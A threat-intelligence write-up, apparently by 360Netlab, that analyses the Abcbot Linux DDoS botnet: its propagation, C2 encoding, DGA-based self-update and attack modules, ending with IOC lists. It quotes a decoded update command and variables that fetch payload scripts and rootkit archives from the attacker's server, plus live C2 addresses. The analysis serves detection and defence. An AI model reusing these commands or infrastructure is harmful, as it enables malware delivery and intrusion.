{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# Background\nBusiness on the cloud and security on the cloud is one of the industry trends in recent years. 360Netlab is also continuing to focus on security incidents and trends on the cloud from its own expertise in the technology field. The following is a recent security incident we observed, where the infected device IP came from multiple cloud provider platforms.\n\nOn July 14, 2021, our BotMon system identified an unknown ELF file (a14d0188e2646d236173b230c59037c7) generating a lot of scanning traffic, after analysis, we determined that this is a Go language implementation of Scanner, based on its source path \"abc-hello\" string, we named it ``Abcbot`` internally.\n\nAt the beginning, Abcbot was relatively simple, and could be seen as a scanner for attacking Linux systems, with a weak password & Nday vulnerability for worm-like propagation. One interesting thing is that Abcbot's source path has the \"dga.go\" string, but ``no related DGA implementation was found``. We assumed that its authors would add this feature in subsequent versions, other than that, we did not paid too much attention to it.\n\nAs time passed, Abcbot has continued to evolve, and ``as we expected, it added the DGA feature in subsequent samples``. Today Abcbot has the ability to **self-updating, setting up Webserver, laughing DDoS, as well as worm like propagation**. \n\nOn October 8, 2021, Trend Micro released [**an analysis of this family**](https://www.trendmicro.com/en_us/research/21/j/actors-target-huawei-cloud-using-upgraded-linux-malware-.html), which focused on the pre-SHELL scripts that spread Abcbot, but skimmed over the features of Abcbot itself.\n\nGiven that Abcbot is under continuous development, its features are constantly being updated, we decided to write this article to share our findings with the community.\n\n# Timeline\n- On July 14, 2021, abcbot was first captured with the main functionality of Scanner,WebServer.\n\n- July 22, 2021, abcbot updated to include dga-related code in the self-updating function.\n\n- October 10, 2021, abcbot performed minor update.\n\n- October 12, 2021, another update, with some major code structure changes.\n\n- October 21, 2021, another update, adding the open source ATK rootkit to support DDoS functionality.\n- October 30, 2021, another update, abandoned ATK rootkit, to their own implementation of DDoS functionality.\n\n# Abcbot Overview\nWe use the latest October 30, 2021 sample as a blueprint, this version targets mainly on common databases and WEB servers, it uses weak password & Nday vulnerability to achieve worm-like propagation, the main focus is for DDoS.\n\nIt currently supports the following nine attack methods.\n\n- tls Attack\n- tcp Attack\n- udp Attack\n- ace Attack\n- hulk Attack\n- httpGet Attack\n- goldenEye Attack\n- slowloris Attack\n- bandwidthDrain Attack\n\nIts basic flow chart is shown below.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_brief.png\"  width=\"860px\" />\n\n# Sample Analysis\n\nWe captured a total of 6 different versions of abcbot samples, and the sample of October 30 was selected as the main object of analysis in this paper, and its basic information is shown as follows.\n```\nMD5:ae8f8cf967ca15a7689f2d1f79fbc5dc\nELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped\nPacker:upx\nDate:2021-10-30\n```\nAbcbot uses a standard UPX shell. When it runs in the compromised device, Abcbot confuses the user by copying itself into the following files, then starting the dockerlogger, iptablesupdate processes.\n```\n/bin/dockerlogger\n/usr/bin/dockerlogger\n/etc/iptablesupdate\n```\nThe ``iptablesupdate`` process is responsible for scanning for new infected devices, reporting the device information to C2, and waiting for the execution of DDoS commands issued by C2.\n\nThe ``dockerlogger`` process is responsible for turning the infected device into a webserver, reporting the device information to C2, and waiting for the execution of the Updata command issued by the update server, let’s take a closer look.\n\n## 0x01: Uploading device information to C2\nThe current Abcbot samples are hard-coded with a encrypted C2 string (\"GEVQYYdjQdquLemMLYlkLLXLQmq7NmL7NYXu\"), which is encoded using Base64 & XOR encryption.\n\nThe Base64 decoding operation is shown below, and it can be seen that Abcbot changes the Alphabet value, which it uses as ``LMNu67PQX21pqrR3YZaDEFGbcVIJjkKWdefstghiBACHlSTUmO5noxyz04vw89+/`` \n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_base.png\"  width=\"860px\" />\n\nBy dissociating the Base64 decoded result with ``0x31 0x32 0x33``, the following final result can be obtained\n```\nhttp://103.209.103.16:26800\n```\nAfter decrypting C2, both ``iptablesupdate`` and ``dockerlogger`` processes report device information to C2 via the path \"/api/postip\", and the format of the device information is ```OS:%v\\x09CPU:%v\\x09HX:%vh\\x09os-name:%v\\x09lanip:%v```. \n\nNote both processes collect the same device information and call the abc_hello_util_Os_pz function. The only difference is shown in the figure below, which shows that the dockerlogger process appends \"\\td0.02\" to the reported information, while iptablesupdate appends \"\\ ti0.02\", where the \"d\" and \"i\" characters imply the process reporting the traffic, and \"0.02\" is similar to the version (in the October 21 sample, the version is \"0.01\").\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_twodiff.png\"  width=\"860px\" />\n\nThe actual traffic generated is shown below.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_reg.png\"  width=\"860px\" />\n\n## 0x02: Scan and propagation\nThe \"abc_hello_plugin_StartScan\" function is responsible for infecting new devices. Its logic is to generate random IPs, detect whether the ports on the IPs that can be attacked are open, and then attack the services by either going through the corresponding weak password list or using the Nday vulnerabilities.\n\n\nThe following code snippet shows that Abcbot tries to attack Weblogic.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_logic.png\"  width=\"860px\" />\n\nIn the Abcbot sample, you can clearly see the functions used in the attack on the relevant network services.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_serv.png\"  width=\"860px\" />\n\nThe weak passwords and vulnerabilities used by Abcbot are the following\n- SSH weak password\n- FTP weak password\n- PostgreSQL weak password\n- Redis weak password\n- Mssql weak password\n- Mongo weak password\n- WebLogic Vulnerability (CVE-2020-14882)\n\n## 0x03: WebServer\nAbcbot uses the \"abc_hello_web_StartServer\" function to start a WebServer on the infected device, listening on port 26800, and the supported methods and paths are shown in the following table.\n\n| Method | Path            |\n| ------ | --------------- |\n| POST   | /api/postip     |\n| POST   | /api/configlist |\n| POST   | /api/getlist    |\n| POST   | /api/check      |\n\nThe actual effect is shown in the following figure.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_web.png\"  width=\"860px\" />\n\nAt present, the path that really being called is \"/api/check\", which is used to determine whether the device has already been infected by requesting the target ip:26800/api/check during the scanning and propagation process.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_check.png\"  width=\"860px\" />\n\nThe other paths are only used to maintain connectivity and have no real use.When they are accessed, some logs files will be generated in the path \"/tmp.abchello\".\n\nIn fact, using \"curl-X POST\" cmd to test C2, you can find that the above 4 paths also exist on C2. The author of Abcbot seems to want to break the current C/S network model and bring the role of Bot in the network closer to Server. Therefore, we speculate that the network structure of Acbbot may shift to P2P.\n\n\n\n## 0x04: Self-updating\nOn July 22, Abcbot introduced the \"abc_hello_util_Updata\" function to handle self-updates. Its logic is to request the \"2.txt\" resource from the remote server. The \"2.txt\" consists of two parts, which are in the format of ``\"Resource(hex format)|digital signature(hex format)\"``. When Bot successfully pulls the 2.txt, it will verify the digital signature by the following code snippet.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_verify.png\"  width=\"860px\" />\n\nThe hard-coded public key in the sample is\n```\n-----BEGIN RSA PUBLIC KEY-----\n\nMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAL3zj6XQt7gYe+L6oI/IUvlJNZVsg/JX\\x0AC7TCnl9p1JfBJFdx+W9FTFnO2Fr8/hAUtf1NpP/WG2fgeG4Nvdcuyq0CAwEAAQ==\n\n-----END RSA PUBLIC KEY-----\n```\nAfter the verification is successful, the Resource is further decomposed, and the format of the Resource is ```\"cmd|downloader url| crc32|cmd2\"```.\n\nWhen the cmd is \"alldown2\", the downloader url is requested and the crc32 hash value of the file is verified. The downloaded file completes the process of self-updating.\n\nThe actual 2.txt obtained is shown below.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_updata.png\"  width=\"860px\" />\n\nThe Resource part is decoded in HEX format which represents update command.\n```\nalldown2|http://103.209.103.16:26800/ff.sh|611043B5|posterrorurl\n```\nThere are 3 sources for the remote server domain name in this process as follows.\n\n1. Hard-coded TOR domain name (decryption method is the same as C2)\n\n2. DGA algorithm generates prefix strings, which are spliced with 3 suffixes (.com, .tk, .pages.dev) to form the domain name\n\n3. DGA algorithm generates the string as a github account, and then gets the upgrade resources from this github account\n\nThe code snippet below is the process of Abcbot requesting 2.txt resources from DGA generated domain name and GITHUB repository.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_dga.png\"  width=\"860px\" />\n\n\nThe domain names used for the samples at each time point are shown below.\n| Date  | MD5                              | Res Tor Domain | DGA Domain | DGA Github |\n| ----- | -------------------------------- | -------------- | ---------- | ---------- |\n| 07-14 | a14d0188e2646d236173b230c59037c7 | 0              | 0          | 0          |\n| 07-22 | e535215fad2ef0885e03ba111bd36e24 | 1              | 3/month    | 1/month    |\n| 10-10 | 6e66456ffb457c52950cf05a6aaabe4a | 1              | 3/month    | 0          |\n| 10-12 | 39d373434c947742168e07cc9010c992 | 1              | 3/month    | 0          |\n| 10-21 | e95c9bae6e2b44c6f9b98e2dfd769675 | 0              | 27/month   | 0          |\n| 10-30 | ae8f8cf967ca15a7689f2d1f79fbc5dc | 0              | 27/month   | 0          |\n\nPart of DGA-generated domain names for Abcbot in October are shown below.\n```\ndgixyyfug.tk\ndgixyyfug.com\ndgixyyfug.pages.dev\nguyfixdyg.tk\nguyfixdyg.com\nguyfixdyg.pages.dev\n\n```\n\nWhen Abcbot started to use DGA to generate domain names for updating servers, we grabbed some of them at the first opportunity, which allowed us to measure its size. From the current statistics Abcbot is not very large, with a total of 261 IPs.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_scale.png\"  width=\"860px\" />\n\nThe current distribution of infected hosts by service providers is shown below.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_static.png\"  width=\"860px\" />\n\n\n\n## 0x05: DDoS\nOn October 21, Abcbot introduced the \"main_TimeDDos\" function to support DDoS attacks, its logic is to request DDoS instructions from C2 via the path \"/api/getlist\", the instructions consist of 2 parts, ``\"DDoS instruction (hex format) | instruction digital signature (hex format)\"``. When Bot receives the instruction, it reuses the digital signature in the self-renewal subsection above for verification, and can only execute it after the verification is successful.\n\nThe actual traffic generated is shown below, the \"73746f70\" string before the \"|\" character is the \"stop\" instruction.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_ddos.png\"  width=\"860px\" />\n\nInteresting thing is that the sample on October 21 (md5:e95c9bae6e2b44c6f9b98e2dfd769675) uses the open source [ATK Rootkit](https://github.com/millken/kdev/tree/master/4atk%201.05new) to implement the DDoS function. \n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_rootkit-1.png\"  width=\"860px\" />\n\n\nAbcbot modified the main function in the ATK source code file ``share_atk_svr.c``, and implemented a UDP server by monitoring SERV_PORT on 127.0.0.1 through the following code. SERV_PORT has 4, respectively 88,89,90,91. \n\n```\nsockfd = socket(AF_INET, SOCK_DGRAM, 0);\nbzero(&servaddr, sizeof(servaddr));\nservaddr.sin_family = AF_INET;\n// servaddr.sin_addr.s_addr = htonl(INADDR_ANY); // 0.0.0.0 \nservaddr.sin_addr.s_addr = inet_addr(\"127.0.0.1\");\nservaddr.sin_port = htons(SERV_PORT);\n```\n\n\nWhen Abcbot receives the command sent by C2, it forwards the command to the UDP server, and the ATK rootkit performs the DDoS attack. The code snippet shown below is exactly the DDoS command\"BigUdp\" forwarded to the rootkit.\n\nThe supported commands are shown below.\n\n- stop\n- syn\n- dns\n- bigudp\n\n**We do not consider this approach to DDoS attacks a good one**, as ATK rootkit is stored in the form of source code on a remote server,\n```\nxl_x64scan1=\"http://103.209.103.16:26800/atk.tar.gz\"\nxl_x64scan2=\"http://103.209.103.16:26800/atk.tar.gz\"\n```\nthus requires Abcbot to download the source code, compile, and load the rootkit module before performing DDoS attack, this process requires too many steps, and any step that is faulty will result in the failure of the DDoS function.\n\nApparently the author had same thoughts, and in the October 30 sample (md5:ae8f8cf967ca15a7689f2d1f79fbc5dc) an update abandoned the ATK rootkit and implemented its own attack module, with nine attack methods being supported.\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_attack.png\"  width=\"860px\" />\n\n# Summary\nIn the process of reverse analysis, we found many oddities in Abcbot, such as \"repeatedly reporting local device information, not registering DGA domain names, unreasonable exclusion of TOR & Github resource servers, and webserver functionality not really enabled\", which gives us a feeling that Abcbot authors are testing various technologies. The update process in these six months is not so much a continuous upgrade of features as a trade-off between different technologies. Abcbot is slowly moving from infancy to maturity. We do not consider this stage to be the final form, there are obviously many areas of improvement or features to be developed at this stage. Let's wait and see what happens. \n\n# Contact us\nReaders are always welcomed to reach us on [Twitter](https://twitter.com/360Netlab) or email us to netlab at 360 dot cn.\n# IOC\n## C2 & Resource Server\n### DGA Domain(October)\n```\n\ndgixyyfug.tk\ndgixyyfug.com\ndgixyyfug.pages.dev\nguyfixdyg.tk\nguyfixdyg.com\nguyfixdyg.pages.dev\ngfgiudyyx.tk\ngfgiudyyx.com\ngfgiudyyx.pages.dev\nxgudyfyig.tk\nxgudyfyig.com\nxgudyfyig.pages.dev\nyugxdigfy.tk\nyugxdigfy.com\nyugxdigfy.pages.dev\ngdgiyyfxu.tk\ngdgiyyfxu.com\ngdgiyyfxu.pages.dev\ngdiuyyfgx.tk\ngdiuyyfgx.com\ngdiuyyfgx.pages.dev\nfgiudxyyg.tk\nfgiudxyyg.com\nfgiudxyyg.pages.dev\nygfydgxui.tk\nygfydgxui.com\nygfydgxui.pages.dev\n```\n### DGA Domain(November)\n```\nenjuyzkpr.tk\nenjuyzkpr.com\nenjuyzkpr.pages.dev\nrpzkjueyn.tk\nrpzkjueyn.com\nrpzkjueyn.pages.dev\nnkrjpezyu.tk\nnkrjpezyu.com\nnkrjpezyu.pages.dev\nunpeykzjr.tk\nunpeykzjr.com\nunpeykzjr.pages.dev\nypnuejrkz.tk\nypnuejrkz.com\nypnuejrkz.pages.dev\nnerjyzkup.tk\nnerjyzkup.com\nnerjyzkup.pages.dev\nnejpzykru.tk\nnejpzykru.com\nnejpzykru.pages.dev\nknjpeuzyr.tk\nknjpeuzyr.com\nknjpeuzyr.pages.dev\nzrkyenupj.tk\nzrkyenupj.com\nzrkyenupj.pages.dev\n```\n### IP\n```\n103.209.103.16\tChina|Hong_Kong|Unknown\tAS63916|IPTELECOM_Global\n```\n\n### Tor\n```\nhttp://vgnaovx6prvmvoeabk5bxfummn3ltdur3h4ilnklvaox4lge2rp4nzqd.onion\n```\n## Sample MD5\n```\n0786c80bfcedb7da9c2d5edbe9ff662f\n0f2619811ceaf85baa72f9c8f876a59a\n1177c135f15951418219a97b3caad4e1\n1a720cc74ecf330b8f13412de4d5646b\n39d373434c947742168e07cc9010c992\n3f277c7b4c427f9ef02cf8df4dd7be44\n5d37a61451e5cfdeca272369ac032076\n6e66456ffb457c52950cf05a6aaabe4a\n6e66456ffb457c52950cf05a6aaabe4a\n89ffd4f612ce604457446ee2a218de67\n8f3558b29d594d33e69cea130f054717\na14d0188e2646d236173b230c59037c7\na17ea52318baa4e50e4b6d3a79fbd935\na4c7917787dc28429839c7d588956202\nae8f8cf967ca15a7689f2d1f79fbc5dc\nbaeb11c659b8e38ea3f01ad075e9df9a\nc27d1c81a3c45776e31cfb384787c674\nc64fbc7d3586d42583aa3a0dc3ea529f\ne535215fad2ef0885e03ba111bd36e24\ne95c9bae6e2b44c6f9b98e2dfd769675\n```\n\n## Downloader\n```\nhttp://103[.209.103.16:26800/atk.tar.gz\nhttp://103[.209.103.16:26800/dd.sh\nhttp://103[.209.103.16:26800/ff.sh\nhttp://103[.209.103.16:26800/linux64-shell\nhttp://103[.209.103.16:26800/xlinux\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"}